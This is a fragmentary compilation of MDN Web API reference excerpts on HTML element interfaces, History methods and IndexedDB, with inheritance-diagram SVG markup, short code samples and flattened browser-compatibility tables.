...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlparamelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle"...
... obsolete no change from document object model (dom) level 1 specification.
HTMLPreElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlpreelement" target="_top"><rect x="351" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="421" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">h...
... obsolete no change from document object model (dom) level 1 specification.
HTMLScriptElement.referrerPolicy - Web APIs
the referrerpolicy property of the htmlscriptelement interface reflects the html referrerpolicy of the <script> element and fetches made by that script, defining which referrer is sent when fetching the resource.
... examples var scriptelem = document.createelement("script"); scriptelem.src = "/"; scriptelem.referrerpolicy = "unsafe-url"; document.body.appendchild(script); specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreferrerpolicychrome full support 70edge full support ≤79firefox full support 65ie no support noopera full support yessafari no support nowebview android full support 70chrome android full support 70firefox android full support 65opera a...
HTMLSelectElement.type - Web APIs
example switch (select.type) { case 'select-multiple': // multiple values may be selected break; case 'select-one': // only one value may be selected break; default: // non-standard value (or this isn't a select element) } specifications specification status comment html living standardthe definition of 'htmlselectelement' in that specification.
... living standard no change from html5, the latest snapshot.
...no change from document object model (dom) level 2 html specification.
... obsolete no change from document object model (dom) level 1 specification.
HTMLShadowElement - Web APIs
the htmlshadowelement interface represents a <shadow> html element, which is used in shadow dom.
...dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlshadowelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle...
HTMLSlotElement.assignedNodes() - Web APIs
the available options are: flatten: a boolean indicating whether to return the assigned nodes of any available child <slot> elements (true) or not (false).
... examples the following snippet is taken from our slotchange example (see it live also).
... let slots = this.shadowroot.queryselectorall('slot'); slots[1].addeventlistener('slotchange', function(e) { let nodes = slots[1].assignednodes(); console.log('element in slot "' + slots[1].name + '" changed to "' + nodes[0].outerhtml + '".'); }); here we grab references to all the slots, then add a slotchange event listener to the 2nd slot in the template — which is the one that keeps having its contents changed in the example.
... every time the element inserted in the slot changes, we log a report to the console saying which slot has changed, and what the new node inside the slot is.
HTMLSlotElement - Web APIs
events slotchange fired on an htmlslotelement instance (<slot> element) when the node(s) contained in that slot change.
... examples the following snippet is taken from our slotchange example (see it live also).
... let slots = this.shadowroot.queryselectorall('slot'); slots[1].addeventlistener('slotchange', function(e) { let nodes = slots[1].assignednodes(); console.log('element in slot "' + slots[1].name + '" changed to "' + nodes[0].outerhtml + '".'); }); here we grab references to all the slots, then add a slotchange event listener to the 2nd slot in the template — which is the one that keeps having its contents changed in the example.
... every time the element inserted in the slot changes, we log a report to the console saying which slot has changed, and what the new node inside the slot is.
HTMLTableElement.tFoot - Web APIs
its value will be null if there is no such element.
... living standard no change from html5 html5the definition of 'htmltableelement.tfoot' in that specification.
... recommendation no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'htmltableelement.tfoot' in that specification.
... obsolete no change from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'htmltableelement.tfoot' in that specification.
HTMLTableElement.tHead - Web APIs
its value will be null if there is no such element.
... living standard no change from html5 html5the definition of 'htmltableelement.thead' in that specification.
... recommendation no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'htmltableelement.thead' in that specification.
... obsolete no change from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'htmltableelement.thead' in that specification.
HTMLTemplateElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltemplateelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="midd...
... content read only a read-only documentfragment which contains the dom subtree representing the <template> element's template contents.
HTMLUListElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlulistelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle"...
... obsolete no change from document object model (dom) level 1 specification.
HTMLUnknownElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlunknownelement" target="_top"><rect x="311" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middl...
... living standard no change from html5.
History.back() - Web APIs
WebAPIHistoryback
this method is asynchronous.
... living standard no change from html5.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbackchrome full support yesedge full support 12firefox full support yesie full support 10opera full support yessafari full support yeswebview android full support yeschrome android full support yesfirefox android full support yesopera andr...
History.forward() - Web APIs
WebAPIHistoryforward
this method is asynchronous.
... living standard no change from html5.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetforwardchrome full support yesedge full support 12firefox full support yesie full support 10opera full support yessafari full support yeswebview android full support yeschrome android full support yesfirefox android full support yesopera a...
History.replaceState() - Web APIs
syntax history.replacestate(stateobj, title, [url]) parameters stateobj the state object is a javascript object which is associated with the history entry passed to the replacestate method.
...passing the empty string here should be safe against future changes to the method.
...then suppose https://www.mozilla.org/bar.html executes the following javascript: history.replacestate(stateobj, '', 'bar2.html'); this will cause the url bar to display https://www.mozilla.org/bar2.html, but won't cause the browser to load bar2.html or even check that bar2.html exists.
... living standard no change from html5.
History.scrollRestoration - Web APIs
syntax const scrollrestore = history.scrollrestoration values auto the location on the page to which the user has scrolled will be restored.
... living standard no change from html5.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollrestorationchrome full support 46edge full support 79firefox full support 46ie no support noopera full support 33safari full support yeswebview android no support nochrome android full support 46firefox android full support yesopera ...
IDBCursor.request - Web APIs
WebAPIIDBCursorrequest
mlist'], 'readonly'); var objectstore = transaction.objectstore('rushalbumlist'); var request = objectstore.opencursor(); request.onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.albumtitle + '</strong>, ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.request); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api draftthe definition of 'request' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrequestchrome full support 76edge full support 79firefox full support 77ie no support noopera full support 63safari ?
... webview android full support 76chrome android full support 76firefox android no support noopera android full support 54safari ios ?
IDBDatabase.name - Web APIs
WebAPIIDBDatabasename
this is used a lot below db = dbopenrequest.result; // this line will log the name of the database, which should be "todolist" console.log(db.name); }; specifications specification status comment indexed database api 2.0the definition of 'name' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnamechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor p...
IDBDatabase.objectStoreNames - Web APIs
this is used a lot below db = dbopenrequest.result; // this line will log the version of the connected database, which should be // an object that looks like { ['my-store-name'] } console.log(db.objectstorenames); }; specifications specification status comment indexed database api 2.0the definition of 'objectstorenames' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobjectstorenameschrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.require...
IDBDatabase.version - Web APIs
this is used a lot below db = dbopenrequest.result; // this line will log the version of the connected database, which should be "4" console.log(db.version); }; specifications specification status comment indexed database api 2.0the definition of 'version' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetversionchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendo...
IDBFactory.cmp() - Web APIs
WebAPIIDBFactorycmp
the cmp() method of the idbfactory interface compares two values as keys to determine equality and ordering for indexeddb operations, such as storing and iterating.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcmpchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
...— ?prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5legend full support full support ...
IDBIndexSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable.
... the idbindexsync interface of the indexeddb api provides synchronous access to an index in a database.
...the range of the new cursor matches the specified key range; if the key range is not specified or is null, then the range includes all the records.
...the range of the new cursor matches the specified key range; if the key range is not specified or is null, then the range includes all the records.
IDBKeyRange.includes() - Web APIs
syntax var isincluded = mykeyrange.includes(key) parameters key the key you want to check for in your key range.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetincludeschrome full support 52edge full support ≤18firefox full support 47ie ?
... opera full support 39safari full support 10.1webview android full support 52chrome android full support 52firefox android full support yesopera android full support 41safari ios full support 10.3samsung internet android full support 6.0legend full support full support compatibility unknown ...
IDBKeyRange.lowerBound() - Web APIs
db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'lowerbound()' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetlowerboundchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a v...
IDBKeyRange.only() - Web APIs
WebAPIIDBKeyRangeonly
db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'only' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonlychrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor ...
IDBKeyRange.upperBound() - Web APIs
db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'upperbound()' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetupperboundchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a v...
IDBMutableFile - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... note: this interface used to be called filehandle , but it was changed to this (bug 1006485.) as idbmutablefile objects are bound to a fake file system built on top of indexeddb, such an object is created using the idbdatabase.createmutablefile method.
... events handler mutablefile.onabort the abort event is triggered each time the handled file is aborted.
... mutablefile.onerror the error event is triggered each time something goes wrong.
IDBObjectStore.clear() - Web APIs
syntax var request = objectstore.clear(); returns an idbrequest object on which subsequent events related to this operation are fired.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetclearchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
...— 57prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet andr...
IDBObjectStore.delete() - Web APIs
return value an idbrequest object on which subsequent events related to this operation are fired.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdeletechrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
...— 57prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet and...
IDBObjectStore.get() - Web APIs
return value an idbrequest object on which subsequent events related to this operation are fired.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
...— 57prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet androi...
IDBObjectStore.getKey() - Web APIs
return value an idbrequest object on which subsequent events related to this operation are fired.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetkeychrome full support 48edge full support ≤79firefox full support 51ie ?
